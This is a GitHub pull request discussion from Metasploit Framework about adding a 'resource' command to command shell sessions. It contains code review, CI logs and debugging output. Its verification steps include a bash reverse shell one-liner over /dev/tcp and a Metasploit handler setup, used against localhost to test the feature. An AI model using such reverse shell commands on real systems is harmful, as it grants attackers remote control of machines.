Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[GSoC] Implementation of resource command #10220

Merged
merged 2 commits into from
Nov 26, 2018

Conversation

WangYihang
Copy link
Contributor

Description

Implementation of resource command, like meterpreter does.

Verification

Step 1: Attacker side

./msfconsole -qx 'use multi/handler; \
set payload cmd/unix/reverse_bash; \
set LHOST 127.0.0.1; \
set LPORT 4444; \
exploit'

Step 2: Victim side

bash -c 'bash -i >&/dev/tcp/127.0.0.1/4444 2>&1 0>&1'

Step 3: Attacker side
Create a resource file, put any metersploit command you want into this file

echo "help\nsessions\nbackground" > /tmp/resource.rb

Step 4: Attacker side
Type resource /tmp/resource.rb in metersploit command interface

  • Verify the commands in /tmp/resource.rb will be executed
  • Verify the whole terminal text will be like this:
➜  metasploit-framework git:(add-resource-meta-shell-command) ./msfconsole -qx 'use multi/handler; set payload cmd/unix/reverse_bash; set LHOST 127.0.0.1; set LPORT 4444; exploit'
[-] ***
[-] * WARNING: No database support: No database YAML file
[-] ***
payload => cmd/unix/reverse_bash
LHOST => 127.0.0.1
LPORT => 4444
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 

sun@sun:~$ 
sun@sun:~$ resource /tmp/resource.rb 
[*] Processing /tmp/resource.rb for ERB directives.
resource (/tmp/resource.rb)> help

Meta shell commands
===================

    Command     Description
    -------     -----------
    help        Help menu
    background  Backgrounds the current shell session
    sessions    Quickly switch to another session
    resource    Run the commands stored in a file

resource (/tmp/resource.rb)> sessions
Usage: sessions <id>

Interact with a different session Id.
This command only accepts one positive numeric argument.
This works the same as calling this from the MSF shell: sessions -i <session id>

resource (/tmp/resource.rb)> background

Background session 1? [y/N]  

@asoto-r7 asoto-r7 self-assigned this Jun 29, 2018

# Pretty soon, this is going to need an XML parser :)
# TODO: case matters for the tag and for binding names
if line =~ /<ruby/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Depending what future changes you want to make to this loop, it might be easier to check for <ruby first. Saves wrapping everything in a giant conditional.

Same with buff.empty? later on in the method.

          while lines.length > 0
            line = lines.shift
            break unless line
            line.strip!
            next if line.length == 0
            next if line.starts_with? '#'

            unless line =~ /<ruby/
              print_line("resource (#{path})> #{line}")
              run_cmd(line)
              next
            end

            # Pretty soon, this is going to need an XML parser :)
            # TODO: case matters for the tag and for binding names
            if line =~ /\s+binding=(?:'(\w+)'|"(\w+)")(>|\s+)/
              bin = ($~[1] || $~[2])
              bindings[bin] = binding unless bindings.has_key? bin
              bin = bindings[bin]
            else
              bin = binding
            end

            buff = ''
            while lines.length > 0
              line = lines.shift
              break unless line
              break if line.include? '</ruby>'
              buff << line
            end
            next if buff.empty?

            print_status("resource (#{path})> Ruby Code (#{buff.length} bytes)")
            begin
              eval(buff, bin)
            rescue ::Interrupt
              raise $!
            rescue ::Exception => e
              print_error("resource (#{path})> Ruby Error: #{e.class} #{e} #{e.backtrace}")
            end
          end
        end

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sorry for late reply, actually these code is not written by me, I just copied them from file

https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/ui/console/driver.rb#L264

I need to call this function in my file, so @timwr helped me to separate this function to a single file for code-reuse.

@WangYihang
Copy link
Contributor Author

WangYihang commented Jul 8, 2018

I think there is an error, I just move the load_resource function, but did not change the include info of merterpreter, so, now in meterpreter, resource command can not work.

DO NOT MERGE THIS PULL REQUEST before I solve this problem. thank you dear mentors

@@ -417,73 +417,6 @@ def tab_complete_helper(dispatcher, str, words)
return items
end

# Processes a resource script file for the console.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Don't forget to include Resource at the top here too, since you're removing the function.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

T_T, I am so careless... It's all my fault, I think the problem is solved~ I just tested the new changes, thank you @timwr really so much for your gentle help.

@WangYihang WangYihang force-pushed the add-resource-meta-shell-command branch from c1d1e8e to 85bfca9 Compare July 9, 2018 03:28
@WangYihang
Copy link
Contributor Author

Metasploit Automation - Sanity Test Execution — Failed to pass tests.

I downloaded the details

➜  test_data tree
.
└── Win_Meterpeter_Simple_1531107025
    ├── reports
    │   └── testlog.log
    ├── scripts
    └── sessions

4 directories, 1 file

testlog:[2018-07-09 03:30:25.727936] ADDING {u'NAME': u'windows/x64/meterpreter/bind_tcp', u'SETTINGS': []}
testlog:[2018-07-09 03:30:25.728105] ADDING {u'NAME': u'windows/meterpreter/reverse_tcp', u'SETTINGS': []}
testlog:[2018-07-09 03:30:25.728214] ADDING {u'NAME': u'windows/x64/meterpreter_bind_tcp', u'SETTINGS': []}
testlog:[2018-07-09 03:30:25.728318] ADDING {u'NAME': u'windows/meterpreter_reverse_tcp', u'SETTINGS': []}
testlog:[2018-07-09 03:30:25.728430] MODULES = [{u'NAME': u'exploit/multi/handler', u'SETTINGS': []}]
testlog:[2018-07-09 03:30:25.728535] PAYLOADS = [{'NAME': u'windows/x64/meterpreter/bind_tcp', 'SETTINGS': []}, {'NAME': u'windows/meterpreter/reverse_tcp', 'SETTINGS': []}, {'NAME': u'windows/x64/meterpreter_bind_tcp', 'SETTINGS': []}, {'NAME': u'windows/meterpreter_reverse_tcp', 'SETTINGS': []}]
testlog:[2018-07-09 03:30:25.728631] {'NAME': u'windows/x64/meterpreter/bind_tcp', 'SETTINGS': []}
testlog:[2018-07-09 03:30:25.728726] {'NAME': u'windows/meterpreter/reverse_tcp', 'SETTINGS': []}
testlog:[2018-07-09 03:30:25.728822] {'NAME': u'windows/x64/meterpreter_bind_tcp', 'SETTINGS': []}
testlog:[2018-07-09 03:30:25.728919] {'NAME': u'windows/meterpreter_reverse_tcp', 'SETTINGS': []}
testlog:[2018-07-09 03:30:25.729015] {u'NAME': u'exploit/multi/handler', u'SETTINGS': []}
testlog:[2018-07-09 03:30:25.729120] PAYLOADS = [{'NAME': u'windows/x64/meterpreter/bind_tcp', 'SETTINGS': []}, {'NAME': u'windows/meterpreter/reverse_tcp', 'SETTINGS': []}, {'NAME': u'windows/x64/meterpreter_bind_tcp', 'SETTINGS': []}, {'NAME': u'windows/meterpreter_reverse_tcp', 'SETTINGS': []}]
testlog:[2018-07-09 03:30:25.729218] MODULES = [{u'NAME': u'exploit/multi/handler', u'SETTINGS': []}]
testlog:[2018-07-09 03:30:25.729336] {u'USERNAME': u'vagrant', u'METERPRETER_JAVA': u'C:\\Program Files\\Java\\jre1.8.0_151\\java.exe', 'SESSION_DATASETS': [], u'NAME': u'Sanity_Win2016x64', u'PYTHON': u'C:\\tools\\python\\python.exe', u'OS': u'Microsoft Windows Server 2016 x64', u'METERPRETER_PYTHON': u'C:\\tools\\python\\python.exe', 'MODULES': [{u'NAME': u'exploit/multi/handler', u'SETTINGS': []}], u'CPE': u'cpe:/o:microsoft:windows_server_2016:::x64', u'HYPERVISOR_CONFIG': u'../JSON/esxi_config.json', u'PAYLOAD_DIRECTORY': u'C:\\payload_test', u'PASSWORD': u'vagrant', u'TYPE': u'VIRTUAL', u'METHOD': u'VM_TOOLS_UPLOAD', 'PAYLOADS': [{'NAME': u'windows/x64/meterpreter/bind_tcp', 'SETTINGS': []}, {'NAME': u'windows/meterpreter/reverse_tcp', 'SETTINGS': []}, {'NAME': u'windows/x64/meterpreter_bind_tcp', 'SETTINGS': []}, {'NAME': u'windows/meterpreter_reverse_tcp', 'SETTINGS': []}]}
testlog:[2018-07-09 03:30:25.729437] {u'NAME': u'exploit/multi/handler', u'SETTINGS': []}
testlog:[2018-07-09 03:30:25.729536] {'NAME': u'windows/x64/meterpreter/bind_tcp', 'SETTINGS': []}
testlog:[2018-07-09 03:30:25.729632] {'NAME': u'windows/meterpreter/reverse_tcp', 'SETTINGS': []}
testlog:[2018-07-09 03:30:25.729805] {'NAME': u'windows/x64/meterpreter_bind_tcp', 'SETTINGS': []}
testlog:[2018-07-09 03:30:25.729905] {'NAME': u'windows/meterpreter_reverse_tcp', 'SETTINGS': []}
testlog:[2018-07-09 03:30:25.730003] ================================================================================
testlog:[2018-07-09 03:30:25.730099] SESSION_DATASETS FOR Sanity_Win2016x64
testlog:[2018-07-09 03:30:25.730198] ================================================================================
testlog:[2018-07-09 03:30:25.730292] exploit/multi/handler:windows/x64/meterpreter/bind_tcp
testlog:[2018-07-09 03:30:25.730392] exploit/multi/handler:windows/meterpreter/reverse_tcp
testlog:[2018-07-09 03:30:25.730490] exploit/multi/handler:windows/x64/meterpreter_bind_tcp
testlog:[2018-07-09 03:30:25.730588] exploit/multi/handler:windows/meterpreter_reverse_tcp
testlog:[2018-07-09 03:30:25.730697] ================================================================================
testlog:[2018-07-09 03:30:25.730791] SESSION_DATASETS FOR Sanity_Win2016x64
testlog:[2018-07-09 03:30:25.730885] ================================================================================
testlog:[2018-07-09 03:30:25.730978] exploit/multi/handler:windows/x64/meterpreter/bind_tcp
testlog:[2018-07-09 03:30:25.731086] exploit/multi/handler:windows/meterpreter/reverse_tcp
testlog:[2018-07-09 03:30:25.731187] exploit/multi/handler:windows/x64/meterpreter_bind_tcp
testlog:[2018-07-09 03:30:25.731290] exploit/multi/handler:windows/meterpreter_reverse_tcp
testlog:[2018-07-09 03:30:25.731405] MSF_HOST COUNT = 1
testlog:[2018-07-09 03:30:25.731498] SESSION COUNT = 4
testlog:[2018-07-09 03:30:25.731595] PROCESSING: Sanity_APT_MSF_HOST
testlog:[2018-07-09 03:30:36.973555] FOUND VM: Sanity_APT_MSF_HOST ON 10.17.4.6
testlog:[2018-07-09 03:30:36.974002] ASSIGNED VM: <vm_automation.esxiVm.esxiVm instance at 0x7f31f31cef38>
testlog:[2018-07-09 03:30:36.974226] PROCESSING: Sanity_Win2016x64
testlog:[2018-07-09 03:30:36.974525] DID NOT FIND VM: Sanity_Win2016x64 ON 10.17.4.6
testlog:[2018-07-09 03:30:36.974654] RESETTING VM Sanity_APT_MSF_HOST
testlog:[2018-07-09 03:30:36.974776] NO TEMP SNAPSHOT FOUND FOR Sanity_APT_MSF_HOST
testlog:[2018-07-09 03:30:36.974892] RESETTING VM Sanity_Win2016x64
testlog:[2018-07-09 03:30:36.974993] NO TEMP SNAPSHOT FOUND FOR Sanity_Win2016x64
testlog:[2018-07-09 03:30:36.975090] THERE WAS A PROBLEM RESETTING VMS
testlog:[2018-07-09 03:30:36.975178] WAITING FOR ALL TASKS TO COMPLETE
testlog:[2018-07-09 03:30:41.980422] TEST FAILED

The error is DID NOT FIND VM: Sanity_Win2016x64 ON 10.17.4.6

I have no idea about how to solve it... can I run these test on my laptop? where can I get the test cases?

@timwr
Copy link
Contributor

timwr commented Jul 9, 2018

I think you can ignore the test fails for now

@bcoles
Copy link
Contributor

bcoles commented Jul 9, 2018

I'm pretty sure the test infrastructure is broken at the moment. r7 will likely fix it when they show up at the office on Monday and see the big board has turned red.

@asoto-r7
Copy link
Contributor

asoto-r7 commented Jul 10, 2018

@WangYihang: This is looking great! I especially like the addition of the <ruby> directive inside command shell resource files.

Consider adding a note to the resource help to tell the user that they can end the STDIN resource input using CTRL-D.

Additionally, PR #9356 might have destroyed your hook inside interact_ring function of lib/rex/ui/interactive.rb, as interact_ring no longer exists. To test, pull the latest master branch, and merge with your changes. If you find that PR #9356 broke your earlier functionality, see if you can find a better place to hook. If you get stuck, let us know here.

Finally, jmartin-r7 is working on fixing our testing infrastructure. He will post here when he's done.

Thanks for the hard work!

@jmartin-tech
Copy link
Contributor

Jenkins test this please.

@asoto-r7
Copy link
Contributor

Hey @Wang,

I was worried that a recent change might have broken your code, but I'm having trouble getting it to work in my environment even before the change. It might be something with me, but would you take a look?

Note -- these reproduction steps will overwrite files on the master branch, so you should make sure you're in a different branch, and probably back up ** just in case **:

Reproduction steps

Make sure you have the latest metasploit-framework code without any changes on the master branch:

Create a temporary working branch

  • git branch pr10220-testing
  • git checkout pr10220-testing

Grab the files from this PR and run the test


One-liner command (same as above)

git checkout master && git reset --hard && git pull https://github.com/WangYihang/metasploit-framework.git add-resource-meta-shell-command && ./msfconsole -qx 'use multi/handler; set payload cmd/unix/reverse_bash; set LHOST 127.0.0.1; set LPORT 4444; exploit' 

Sample output

Previous HEAD position was ef55803936 [+] Update resource meta command help info
Switched to branch 'master'
Your branch is ahead of 'origin/master' by 52 commits.
  (use "git push" to publish your local commits)
HEAD is now at c557f21f93 automatic module_metadata_base.json update
Note: checking out 'upstream/pr/10220'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

HEAD is now at ef55803936 [+] Update resource meta command help info
@current_workspace was not set. Setting to default_workspace: default
payload => cmd/unix/reverse_bash
LHOST => 127.0.0.1
LPORT => 4444
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:34284) at 2018-07-24 16:18:44 -0500

Once we've got a shell, here's the /tmp/resource.rb file. Note the cat /tmp/resource.rb on the second line is being echoed back and is not actually part of the file

$ cat /tmp/resource.rb
cat /tmp/resource.rb
help
sessions
background

And now here's running the resource command:

$ resource /tmp/resource.rb
[-] Using mixin :)
[*] Processing /tmp/resource.rb for ERB directives.
resource (/tmp/resource.rb)> help
[-] Session manipulation failed: undefined method `run_single' for #<Msf::Sessions::CommandShell:0x00007f15e5d1ec08> ["/home/administrator/git/r7/metasploit-framework/lib/rex/ui/text/resource.rb:72:in `load_resource'", "/home/administrator/git/r7/metasploit-framework/lib/msf/base/sessions/command_shell.rb:208:in `block in cmd_resource'", "/home/administrator/git/r7/metasploit-framework/lib/msf/base/sessions/command_shell.rb:188:in `each'", "/home/administrator/git/r7/metasploit-framework/lib/msf/base/sessions/command_shell.rb:188:in `cmd_resource'", "/home/administrator/git/r7/metasploit-framework/lib/msf/base/sessions/command_shell.rb:229:in `run_command'", "/home/administrator/git/r7/metasploit-framework/lib/msf/base/sessions/command_shell.rb:102:in `run_cmd'", "/home/administrator/git/r7/metasploit-framework/lib/msf/base/sessions/command_shell.rb:484:in `_interact_ring'", "/home/administrator/git/r7/metasploit-framework/lib/msf/base/sessions/command_shell.rb:428:in `_interact'", "/home/administrator/git/r7/metasploit-framework/lib/rex/ui/interactive.rb:49:in `interact'", "/home/administrator/git/r7/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1386:in `cmd_sessions'", "/home/administrator/git/r7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:481:in `run_command'", "/home/administrator/git/r7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:443:in `block in run_single'", "/home/administrator/git/r7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:437:in `each'", "/home/administrator/git/r7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:437:in `run_single'", "/home/administrator/git/r7/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:74:in `exploit_single'", "/home/administrator/git/r7/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:193:in `cmd_exploit'", "/home/administrator/git/r7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:481:in `run_command'", "/home/administrator/git/r7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:443:in `block in run_single'", "/home/administrator/git/r7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:437:in `each'", "/home/administrator/git/r7/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:437:in `run_single'", "/home/administrator/git/r7/metasploit-framework/lib/msf/ui/console/driver.rb:186:in `block in initialize'", "/home/administrator/git/r7/metasploit-framework/lib/msf/ui/console/driver.rb:185:in `each'", "/home/administrator/git/r7/metasploit-framework/lib/msf/ui/console/driver.rb:185:in `initialize'", "/home/administrator/git/r7/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in `new'", "/home/administrator/git/r7/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in `driver'", "/home/administrator/git/r7/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'", "/home/administrator/git/r7/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'", "./msfconsole:49:in `<main>'"]

@WangYihang
Copy link
Contributor Author

WangYihang commented Jul 26, 2018

@asoto-r7 Got it, I will try to fix this bug tomorrow.

@WangYihang
Copy link
Contributor Author

It works I think. @asoto-r7 Thank you so much for your very detailed description, it's pretty nice~
image

@wvu
Copy link
Contributor

wvu commented Jul 30, 2018

Hi, I fixed the regression independently in #10399, but I hadn't noticed the fix and refactor to run_single here. Apologies. If we can get this landed, it'll all work out. Thank you!

@asoto-r7
Copy link
Contributor

asoto-r7 commented Aug 3, 2018

Hey @WangYihang, nice work catching and fixing our regression!

Nice work on this PR as well. There are two small issues, but this is very close to ready to land:

  1. Remove the debugging message on line 16 of lib/rex/ui/text/resource.rb:
    https://github.com/rapid7/metasploit-framework/pull/10220/files#diff-c0995751b30b7048c2fc495b654a856dR16

  2. When sending commands to the target, they aren't actually being processed properly. It appears that newlines aren't being processed, which leads to two issues. The first is that commands aren't being processed executed until the user presses Enter. For example, using my local Debian Linux target:

  • Create a resource file on the local command line: echo -e "date\n/sbin/ifconfig" > /tmp/test1
  • Run the resource file in a Metasploit command shell: resource /tmp/test1
  • Observe the following output:
$ resource /tmp/sample
[-] Using mixin :)
[*] Processing /tmp/sample for ERB directives.
resource (/tmp/sample)> date
resource (/tmp/sample)> /sbin/ifconfig
date/sbin/ifconfig

Note that the commands aren't actually run on target. It's not until you press Enter that the commands are sent. This happens regardless of whether there's a newline at the end of the resource script, and regardless of whether we use \n or \r\n.

But you'll also encounter a second issue:

  • Continuing the steps above...
  • Press Enter.
  • Observe the following output;
bash: date/sbin/ifconfig: No such file or directory

The commands appear to be concatenated into a single string, without the newline being processed. Again, this appears to happen regardless of the use of \n or \r\n.

That said, I suspect you might be able to fix both of these bugs at the same time. I'm sure you've got it, but let us know if you need a hand.

Thanks!

@WangYihang
Copy link
Contributor Author

@asoto-r7 em, I thought that resource command will execute Metasploit commands like: sessions background... (script executed on the attacker side) mentor, your example seem are executing a shell script by resource command.... I think source command will be a better choice...

image

@busterb busterb merged commit 8f0a37a into rapid7:master Nov 26, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

7 participants